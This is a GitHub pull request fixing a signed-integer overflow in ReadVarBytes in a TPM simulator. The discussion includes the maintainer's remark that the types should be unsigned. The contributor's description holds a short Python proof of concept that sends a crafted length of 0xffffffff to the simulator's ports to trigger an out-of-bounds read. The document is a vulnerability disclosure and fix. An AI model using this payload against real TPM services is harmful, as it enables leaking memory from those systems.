Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix integer overflow in ReadVarBytes #100

Merged
merged 2 commits into from
Sep 18, 2023

Conversation

v0id-re
Copy link
Contributor

@v0id-re v0id-re commented Sep 14, 2023

length is a signed 32-bit integer and is read from input. So if we pass a value that is greater than INT32_MAX, length will become negative. Then it can pass the MaxLen check. The second ReadBytes will return true if the NumBytes is negative.

This can cause an out-of-bound read in TPM_SIGNAL_HASH_DATA because InputBuffer.BufferSize is greater than real size of InputBuffer. Poc is below.

from socket import socket, AF_INET, SOCK_STREAM

tpmSock = socket(AF_INET, SOCK_STREAM)
tpmSock.connect(('127.0.0.1', 2321))

platformSock = socket(AF_INET, SOCK_STREAM)
platformSock.connect(('127.0.0.1', 2322))

platformSock.send(b'\x00\x00\x00\x01')
platResp = platformSock.recv(32)

print(b"Platform RES32:" + platResp)

tpmSock.send(b'\x00\x00\x00\x05') # TPM_SIGNAL_HASH_START
tpmSock.send(b'\x00\x00\x00\x06') # TPM_SIGNAL_HASH_DATA
tpmSock.send(b'\xff\xff\xff\xff') # -1

resp = tpmSock.recv(4096)
print(b"TPM RES4096:" + resp)

@v0id-re
Copy link
Contributor Author

v0id-re commented Sep 14, 2023

Thanks to @CTF-YeMei

Copy link
Contributor

@bradlitterell bradlitterell left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for the feedback. While I agree there is a problem here, I believe this is the wrong fix. The function is documented to be treating the 4 network bytes as uint32_t, it is treating it as int32_t. Same thing for MaxLen.

The correct fix here is to update the types to be properly unsigned.

@bradlitterell bradlitterell merged commit c3c41c0 into microsoft:main Sep 18, 2023
@bradlitterell
Copy link
Contributor

bradlitterell commented Sep 18, 2023

thank you @v0id-re

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants